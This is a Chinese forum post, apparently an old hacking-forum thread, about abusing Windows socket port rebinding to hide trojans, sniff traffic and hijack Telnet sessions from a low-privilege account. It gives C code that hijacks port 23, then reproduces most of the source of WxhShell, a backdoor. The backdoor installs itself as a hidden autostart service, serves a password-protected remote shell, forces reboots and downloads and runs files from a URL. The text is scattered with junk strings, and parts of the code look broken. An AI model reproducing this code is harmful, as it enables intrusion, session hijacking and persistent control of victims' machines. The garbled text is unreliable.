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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Mby4(M+&n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (4q/LuP^d  
J1gnR  
  saddr.sin_family = AF_INET; jp4-w(  
3jW&S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4|cRYZj5  
g#6R(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FaWc:GsfB  
#>G:6'r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /!>OWh*~  
4IY|<  
  这意味着什么?意味着可以进行如下的攻击: u~ FVI  
Oop6o $k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wmR~e  
^@=4HtA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lqrI*@>Tz  
,1CmB@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b$nev[`{6  
SQ+r'g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1VG]|6f  
t(6i4c>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wRK27=\z  
m&q0 _nay  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &'Nzw2  
T]/>c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #k &#d9}  
:nl,A c  
  #include sEfT#$ a^8  
  #include Zi\ex\ )5  
  #include >y#qn9rV1  
  #include    pih 0ME}z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r.Z g<T  
  int main() e87a9ZPm  
  { $7Z-Nn38  
  WORD wVersionRequested; 6#jql  
  DWORD ret; %B1TN#KoT  
  WSADATA wsaData; mv,a>Cvs[  
  BOOL val; T <k;^iqR  
  SOCKADDR_IN saddr; D-i, C~W  
  SOCKADDR_IN scaddr; 6'uCwAQU  
  int err; X$Q.A^9  
  SOCKET s; Vep 41\g^  
  SOCKET sc; a\,V>}e  
  int caddsize; NZ8X@|N  
  HANDLE mt; L"S2+F)n  
  DWORD tid;   B2LXF3#/  
  wVersionRequested = MAKEWORD( 2, 2 ); y|0/;SjV  
  err = WSAStartup( wVersionRequested, &wsaData ); p0CPeH  
  if ( err != 0 ) { WL,2<[)Ew  
  printf("error!WSAStartup failed!\n"); o F_r C[  
  return -1; D ZZRu8~  
  } N|"kuRN#  
  saddr.sin_family = AF_INET; +mR^I$9  
   G*%U0OTi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H)&iFq  
_):@C:6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GCw4sb4~w  
  saddr.sin_port = htons(23); 0SIUp/.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {<}Hut:a  
  { \WdSj  
  printf("error!socket failed!\n"); x\:KfYr4Y;  
  return -1; br k*;  
  } ~d\V>  
  val = TRUE; 1BEc"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :w|=o9J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ets6tM`  
  { g6.I~o Q j  
  printf("error!setsockopt failed!\n"); ;:R2 P@6f  
  return -1; CZ$B2i6  
  } /yx)_x{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &e*@:5Z:k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Hdd3n 6*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '?_~{\9<  
gzW{h0iRr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8*B+@`  
  { cud9oJ-=;  
  ret=GetLastError(); eFA,xzp  
  printf("error!bind failed!\n"); p__N6a  
  return -1; rL+.3ZO):P  
  } [C;Neslo  
  listen(s,2); XUUP#<,s  
  while(1) BjTgZ98J  
  { 8~RJnwF^  
  caddsize = sizeof(scaddr); H*f2fyC1\  
  //接受连接请求 /e|qyWs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4 540Lw'A  
  if(sc!=INVALID_SOCKET) ${wp}<u_  
  { $XkO\6kh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PVljb=8F  
  if(mt==NULL) ?0JNaf  
  { [^/a`Kda8  
  printf("Thread Creat Failed!\n"); 2_M+o]Z^  
  break; }o[<1+W(.  
  } q j9q   
  } CS-jDok  
  CloseHandle(mt); Ar?ZUASJ  
  } _T8S4s8q  
  closesocket(s); Wy-y-wi:p  
  WSACleanup(); ;<b7kepR  
  return 0; C#)T$wl[E  
  }   yn<J>e  
  DWORD WINAPI ClientThread(LPVOID lpParam) j]R[;8g  
  { Q^05n$ tI  
  SOCKET ss = (SOCKET)lpParam; BYa#<jXtAT  
  SOCKET sc; a +~b3  
  unsigned char buf[4096]; k:@N6K/$P^  
  SOCKADDR_IN saddr; r[GH#vF;7  
  long num; XsFzSm  
  DWORD val; WT1y7+_g(d  
  DWORD ret; IQ-l%x[fue  
  //如果是隐藏端口应用的话,可以在此处加一些判断 asmu<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N cGFPi (Z  
  saddr.sin_family = AF_INET; #&L7FBJ"*v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TGPZUyi3!=  
  saddr.sin_port = htons(23); 0E (G1o'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &0%B3  
  { ORWi+H|  
  printf("error!socket failed!\n"); ]A#:Uc5  
  return -1; MOp "kA  
  } E_Y!in 70  
  val = 100; ZB/1I;l`c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r{S DJa  
  { XAtRA1.  
  ret = GetLastError(); =9 ^}>u  
  return -1; QF*cdc<  
  } e#3RT8u#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Acd@BL*  
  { h5-yhG  
  ret = GetLastError(); YmjA!n  
  return -1; Eelv i5  
  } @>J(1{m=Gy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3/]FT#l]i  
  { y"U)&1 c%  
  printf("error!socket connect failed!\n"); CY[3%7 fv  
  closesocket(sc); $4)L~g|  
  closesocket(ss); r=A A /n<  
  return -1; hk S:_e=  
  } UTN[! 0[  
  while(1) .P?n<n#  
  { 2Yd@ V}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [cl+AV "  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2cRru]VZ5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I Xm[c@5l  
  num = recv(ss,buf,4096,0); $% gz, {  
  if(num>0) .n)R@&9  
  send(sc,buf,num,0); ue'dI   
  else if(num==0) I'p+9H$  
  break; }4h0 {H  
  num = recv(sc,buf,4096,0); :2C <;o  
  if(num>0) >Q[ Z{  
  send(ss,buf,num,0); SB.=x  
  else if(num==0) }Ya! [tX  
  break; Ld/6{w4ir  
  } imAOYEH7}  
  closesocket(ss); &}pF6eIar  
  closesocket(sc); 0G33hIOS  
  return 0 ; Cx.##n0  
  } ^=1u2YdVw  
-o!bO9vC  
U0{)goN.  
========================================================== l+hOD{F4pS  
Em5,Zr_  
下边附上一个代码,,WXhSHELL u%I%4 gM  
#e,TS`"eD  
========================================================== kp}[nehF  
s@y;b0$gk  
#include "stdafx.h" oGl<i  
_9p79S<+  
#include <stdio.h> d"Wuu1tEY  
#include <string.h> NuUiW*|`7  
#include <windows.h> z 1^fG)  
#include <winsock2.h> 3G2iRr.o  
#include <winsvc.h> Oe :S1f  
#include <urlmon.h> !"Q%I#8uh  
%.l={B,i  
#pragma comment (lib, "Ws2_32.lib") *vEj\  
#pragma comment (lib, "urlmon.lib") tns8B  
k_zn>aR$F  
#define MAX_USER   100 // 最大客户端连接数 4gNN "  
#define BUF_SOCK   200 // sock buffer J]{<Z?%  
#define KEY_BUFF   255 // 输入 buffer z,2*3Be6V  
$ Y^0l  
#define REBOOT     0   // 重启 p4UEhT  
#define SHUTDOWN   1   // 关机 e5n]@mu%  
e#mqerpJ  
#define DEF_PORT   5000 // 监听端口 2k^rZ^^"  
V3r)u\ o'  
#define REG_LEN     16   // 注册表键长度 MuP>#Vk  
#define SVC_LEN     80   // NT服务名长度 3]9Rmx  
,9_O4O%  
// 从dll定义API wAX;)PLg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ">eled)O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !IO\g"y~|%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b09xf"D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [{)Z^  
/`DKX }  
// wxhshell配置信息 37Q8Yf_  
struct WSCFG { 2/uZ2N |S  
  int ws_port;         // 监听端口 K9p<PLy+  
  char ws_passstr[REG_LEN]; // 口令 HuU$x;~  
  int ws_autoins;       // 安装标记, 1=yes 0=no z\" .(fIV  
  char ws_regname[REG_LEN]; // 注册表键名 tY!l}:E[  
  char ws_svcname[REG_LEN]; // 服务名 ud BIEW,`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N}ND()bf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S4{vS?>j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !J X7y%J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '-[hy>t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jX(${j<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \)wch P_0  
vq+CW?*"  
}; o9]32l  
rBi<Yy$z  
// default Wxhshell configuration r `n|fD.  
struct WSCFG wscfg={DEF_PORT, {#4a}:3  
    "xuhuanlingzhe", H>;,r ,  
    1, G kG#+C0L  
    "Wxhshell", <*dcl2xS  
    "Wxhshell", !X~NL+  
            "WxhShell Service", r^<,f[yH  
    "Wrsky Windows CmdShell Service", V&vG.HAT  
    "Please Input Your Password: ", V\{@c%xW  
  1, M<*Tp^Y'  
  "http://www.wrsky.com/wxhshell.exe", *i:8g(  
  "Wxhshell.exe" l>pB\<LL  
    }; xRhGBb{@s  
oq!\100  
// 消息定义模块 K\XQ E50  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F~ \ONO5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hif;atO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YlGUd~$`"+  
char *msg_ws_ext="\n\rExit."; V;"2=)X  
char *msg_ws_end="\n\rQuit."; KW[y+c u.#  
char *msg_ws_boot="\n\rReboot..."; q0Q[]|L  
char *msg_ws_poff="\n\rShutdown..."; "RK"Pn+  
char *msg_ws_down="\n\rSave to "; Mog [,{w  
C,W_0= !e  
char *msg_ws_err="\n\rErr!"; A:GqR;;"x>  
char *msg_ws_ok="\n\rOK!"; HJ]e%og  
1Td`S1'#yg  
char ExeFile[MAX_PATH]; .S#i/A'x  
int nUser = 0; |9]-_a  
HANDLE handles[MAX_USER]; qK#"uU8B  
int OsIsNt; zF[Xem  
) xa )$u  
SERVICE_STATUS       serviceStatus; 24? _k]Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FZ+2{wIV^  
W,Q>3y*  
// 函数声明 RMT9tXe*5  
int Install(void); 7sOAaWx  
int Uninstall(void); rA B=H*|6  
int DownloadFile(char *sURL, SOCKET wsh); wbKJ:eWgt  
int Boot(int flag); xW5`.^5  
void HideProc(void); m?B=?;B9#  
int GetOsVer(void); Fs $FR-x  
int Wxhshell(SOCKET wsl); |gP)lR  
void TalkWithClient(void *cs); *P/A&"i[E  
int CmdShell(SOCKET sock); l9=Ka{$^*  
int StartFromService(void); ;w"h n*  
int StartWxhshell(LPSTR lpCmdLine); bO/r1W  
(:`4*xK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JU^Y27  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VV/T)qEe7>  
/4 pYhJ8S  
// 数据结构和表定义 lqL5V"2Y  
SERVICE_TABLE_ENTRY DispatchTable[] =  ArAe=m!u  
{ JvW7h(u7g  
{wscfg.ws_svcname, NTServiceMain}, ~( XaXu  
{NULL, NULL} $3>Rw/,  
}; %po;ih$jr*  
^ [HUtq  
// 自我安装 Y 'X!T8  
int Install(void) "i/GzD7`n  
{ (UjaL@G  
  char svExeFile[MAX_PATH]; yGt [Qvx#  
  HKEY key; Ew PJ|Z^  
  strcpy(svExeFile,ExeFile); <_|@ ~^u  
?zutU w/m  
// 如果是win9x系统,修改注册表设为自启动 *v K~t|z  
if(!OsIsNt) { a BMV6'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S$fS|N3]%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jFe8s@7  
  RegCloseKey(key); vvxD}p=y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dO1 m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PDA9.b<q0  
  RegCloseKey(key); E.NfVeq  
  return 0; RxJbQs$Ph  
    } [9Rh"H;h  
  } JJWP te/  
} r`6f  
else { t855|  
gsM$VaF(  
// 如果是NT以上系统,安装为系统服务 T$2A2gb `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y< dBF[  
if (schSCManager!=0) x  zF  
{ YB4 ZI  
  SC_HANDLE schService = CreateService OQ_< Vxz  
  ( W? 4:sLC#3  
  schSCManager, Y#V(CIDe  
  wscfg.ws_svcname, x+6z9{O  
  wscfg.ws_svcdisp, 'h6G"=+  
  SERVICE_ALL_ACCESS, O^-QqCZE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gTTKjlI [  
  SERVICE_AUTO_START, R,PN?aj  
  SERVICE_ERROR_NORMAL, sgK =eBE  
  svExeFile, af>i  
  NULL, L,#YP#O,j  
  NULL, rqN+0CT  
  NULL, |z_Dw$-xm  
  NULL, 5cQ]vb  
  NULL v}t{*P  
  ); 4+ d(d  
  if (schService!=0) 8w[O%  
  { >@bU8}rT  
  CloseServiceHandle(schService); +<xQF  
  CloseServiceHandle(schSCManager); @"fv[=Xb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !=.y[Db=  
  strcat(svExeFile,wscfg.ws_svcname); eza"<uBr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YzZj=]\`b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -th.(eAx  
  RegCloseKey(key); ti9e(Jt!O  
  return 0; bIBF2m4  
    } iH-,l  
  } 2RNee@!JJP  
  CloseServiceHandle(schSCManager); p2b~k[  
} <#M1I!R  
} Y&=DjKoVh  
a9NuYYr,h  
return 1; <BBzv-?D  
} +0ukLc@  
.{8[o[w =  
// 自我卸载 iCiKr aW  
int Uninstall(void) Y_y!$jd(N  
{ iY@}Q "  
  HKEY key; MH'%E^n `  
_7:Bxx4B  
if(!OsIsNt) { *: FS/ir  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LNk :PD0m  
  RegDeleteValue(key,wscfg.ws_regname); 2&:z[d}~H  
  RegCloseKey(key); )3e_H s+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oupWzjo  
  RegDeleteValue(key,wscfg.ws_regname); yxpv;v:)=  
  RegCloseKey(key); ,|\\C6s  
  return 0; `g1?Q4h  
  } BRu}"29  
} H'!OEZ  
} '*Dp2Y{7  
else { 0#Ug3_dfr  
*(r9c(xa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S#p_Y^A  
if (schSCManager!=0) z0ufLxq  
{ Il@K8?H@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >ZPu$=[W  
  if (schService!=0) [Nm?qY  
  { 4x+[?fw  
  if(DeleteService(schService)!=0) { Q/Z>w+zh#  
  CloseServiceHandle(schService); Zi}h\R a  
  CloseServiceHandle(schSCManager); AtHkz|sl  
  return 0; {_\dwe9  
  } 5X];?(VTsb  
  CloseServiceHandle(schService); Px?"5g#+  
  } 1nvT={'R  
  CloseServiceHandle(schSCManager); [Pp#r&4H  
} *!`&+w  
} X{!,j}  
Q-R?y+| x  
return 1; Oz(=%oS  
} m!<FlEkN  
M+ <SSi"  
// 从指定url下载文件 ^5~x*=_  
int DownloadFile(char *sURL, SOCKET wsh) 5GJkvZtFY  
{ ='kCY}dkO  
  HRESULT hr; o(54 A['  
char seps[]= "/"; p%bMfi*T  
char *token; `]GL3cIh:  
char *file; ti1R6oSn  
char myURL[MAX_PATH]; GcO:!b*YMp  
char myFILE[MAX_PATH]; N|)e {|k  
>{Mv+  
strcpy(myURL,sURL); xgNV0;g,  
  token=strtok(myURL,seps); U5cbO{\ 3I  
  while(token!=NULL) G){+.X4g3  
  { 9CwtBil<#g  
    file=token; M{)eA<6  
  token=strtok(NULL,seps); ESIJ QM-[+  
  } H[pvC=O=  
NzhWGr_x'  
GetCurrentDirectory(MAX_PATH,myFILE); U_aI!`WXd  
strcat(myFILE, "\\"); G1zP^ogk  
strcat(myFILE, file); e9:pS WA-n  
  send(wsh,myFILE,strlen(myFILE),0); Q8l vwip  
send(wsh,"...",3,0); ^zqQ8{oV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kt]vTn7!9  
  if(hr==S_OK) X[w]aJnAr  
return 0; _RzoXn{1e  
else "#8^":,4  
return 1; ?AxB0d9z  
9'|k@i:  
} oGeV!hD  
 rB(Q)N  
// 系统电源模块 ^a3 (QKS  
int Boot(int flag) W95q1f# 7  
{ 7}c[GC)F  
  HANDLE hToken; %O[1yZh \  
  TOKEN_PRIVILEGES tkp; "k"+qR`fH  
/s(PFN8#Y  
  if(OsIsNt) { n2c(x\DA&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ha ZV7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T51oNO%^  
    tkp.PrivilegeCount = 1; I-J%yutB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EX W?)_pg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {~g7&+9x*  
if(flag==REBOOT) { Z!'k N\z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K!>3`[:I"  
  return 0; }7fzEo`g  
} b/#<::D `  
else { 1UrkDz?X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 91a);d  
  return 0; f<<$!]\  
} oz3!%'  
  } f::^zAV  
  else { jt3W.^6HO  
if(flag==REBOOT) { XWz~*@ci  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 67Tu8I/r  
  return 0; nddCp~NX  
} 0T$`;~  
else { T I ZkN6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  _ qQ  
  return 0; m^/>C -&C  
} ~xPetkl@  
} Qd ?S~3XT  
f R2,NKM@  
return 1; \ sz](X  
} s1%2({wP  
[P)](8nR[  
// win9x进程隐藏模块 >E,/|K*  
void HideProc(void) n|QA\,=  
{ QqeF   
@k:@mzB7R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3%x-^.  
  if ( hKernel != NULL ) Xh~oDnP  
  { [c=![ *}/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b4ke'gx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P=9sP:[f6  
    FreeLibrary(hKernel); bhZ5-wo4%  
  } |NjyO>@Pa  
wlP% U  
return; $'a]lR  
} +}-cvM/*  
%uP/v\l  
// 获取操作系统版本 TUp%Cx  
int GetOsVer(void) RD:LNl<0sh  
{ :}v:=ck  
  OSVERSIONINFO winfo; c Ct5m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "(+aWvb  
  GetVersionEx(&winfo); pG/g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O=1 #KNS  
  return 1; Au )%w  
  else @$!"}xDR'  
  return 0; 9*?YES'6  
} c8cGIAOY)  
UyNP:q:  
// 客户端句柄模块 .e S* F  
int Wxhshell(SOCKET wsl) yW_goS0  
{ M|$A)D1  
  SOCKET wsh; D@iS#+22  
  struct sockaddr_in client; >4T7D My  
  DWORD myID; MF::At[4   
k@9q5lu;T  
  while(nUser<MAX_USER) xtXK3[s  
{ ` -<S13  
  int nSize=sizeof(client); z`8>$9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VF"c}  
  if(wsh==INVALID_SOCKET) return 1; &v r0{]V^  
rN {5^+w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `zcpaE.@  
if(handles[nUser]==0) fvDcE]_%H  
  closesocket(wsh); F2=#\U$  
else yv5c0G.D  
  nUser++; {JcMJZ3  
  } 2|+4xqNJm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kr]_?B(r  
~^eC?F(  
  return 0; fhQ N;7  
} -]MZP:s  
O<0-`=W,a  
// 关闭 socket 8O^z{Yh7  
void CloseIt(SOCKET wsh) Cz4l  
{ M""X_~&I"  
closesocket(wsh); 79M` ?xm  
nUser--; y;LZX-Z-  
ExitThread(0); ?kc,}/4  
} Fz_8m4  
sJLJVSv8c  
// 客户端请求句柄 Qhn>aeW,  
void TalkWithClient(void *cs) MXY!N /  
{ 'p'nAB''!  
E>}3MfL  
  SOCKET wsh=(SOCKET)cs; ?)+I'lW!  
  char pwd[SVC_LEN]; }j#c#''i  
  char cmd[KEY_BUFF]; `q1K%id  
char chr[1]; ezk:XDi4  
int i,j; _57 68G`P  
`"E<%$|ZQy  
  while (nUser < MAX_USER) { xTdh/}  
, @6_sl  
if(wscfg.ws_passstr) { eZRu{`AF*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J,wpY$93  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mINir-  
  //ZeroMemory(pwd,KEY_BUFF); =)XC"kU p  
      i=0; 2ISnWzq;  
  while(i<SVC_LEN) { locf6%2g~  
e%&/K7I"?  
  // 设置超时 ;KW}F|  
  fd_set FdRead; fYZ)5xnj  
  struct timeval TimeOut; km!jxs  
  FD_ZERO(&FdRead); <UO'&?G  
  FD_SET(wsh,&FdRead); +Tp>3Jh2  
  TimeOut.tv_sec=8; EWoGdH|  
  TimeOut.tv_usec=0; J$i5A9IUr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GVzG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z4c{W~}`  
nrI-F,1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X9n},}bJ"  
  pwd=chr[0]; cH\.-5NQ  
  if(chr[0]==0xd || chr[0]==0xa) { |=4imM7  
  pwd=0; u+vUv~4A6  
  break; IqmoWn3  
  } 0N*~"j;r#M  
  i++; Yf,U2A\  
    } Y+#Vz IZw  
5i1Xumh 4  
  // 如果是非法用户,关闭 socket ZZ{:f+=?$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Z}4_/E  
} |B.tBt^  
'>5W`lZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); th(<S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WMd5Y`y  
>`c-Fqk  
while(1) { Ucz`^}+  
keWqL]  
  ZeroMemory(cmd,KEY_BUFF); 2p|[yZ  
'I roQ M  
      // 自动支持客户端 telnet标准   %,G0)t   
  j=0; }zu?SZH  
  while(j<KEY_BUFF) { 72>/@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^iaG>rvA  
  cmd[j]=chr[0]; qY$/i#  
  if(chr[0]==0xa || chr[0]==0xd) { G4eY}3F7,4  
  cmd[j]=0; &'-ze,k}  
  break; elf2!  
  } rXlJW]i  
  j++; WfE,U=e*  
    } I= 'S).  
7ClN-/4  
  // 下载文件 BiUbg6T.G  
  if(strstr(cmd,"http://")) { @'{m-?*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^X/[x]UOT@  
  if(DownloadFile(cmd,wsh)) E)w^odwMU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); INj2B@_  
  else *XZlnO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4r'f/s8"#  
  } Dy_Za.N2  
  else { yb:Xjg7   
{  'Db  
    switch(cmd[0]) { <Sx-Ca7  
  ?oX.$E?(  
  // 帮助 J}cqBk>  
  case '?': { *CtO Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EpCsJ08K  
    break; .. xg4V/  
  }  Lx:O Dd  
  // 安装 4 u!)QG  
  case 'i': { c~a:i=y67  
    if(Install()) !yQ#E2/A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WM_wkvY l  
    else ,KHebv!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \]eB(&nq  
    break; OZ6g u$ n*  
    } ], HF) 21  
  // 卸载 q'%-8t  
  case 'r': { <k0$3&D  
    if(Uninstall()) se1\<YHDS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gE>_:s   
    else 9$pQ|e0tJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HTz&h#)JQ  
    break; 5[_|+  
    } prx)Cfv  
  // 显示 wxhshell 所在路径 Z2,[-8,Kx  
  case 'p': { [80L|?, *  
    char svExeFile[MAX_PATH]; E6  2{sA^  
    strcpy(svExeFile,"\n\r"); 1 \_S1ZS  
      strcat(svExeFile,ExeFile); &nk[gb o\  
        send(wsh,svExeFile,strlen(svExeFile),0); I8C(z1(N  
    break; pPNU0]/  
    } Q^qdm5}UkW  
  // 重启 Rs<li\GS  
  case 'b': { CVp`G"W:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8MH ZWi  
    if(Boot(REBOOT)) %\5d?;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {uQp$`  
    else { i,DnXgmz@  
    closesocket(wsh); k<098F  
    ExitThread(0); D.hj9  
    } H53dy*wb$  
    break; B=mk@gX,G  
    }  *TEgV  
  // 关机 n-P)X<\  
  case 'd': { %B&y^mZv*\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U=4tJb  
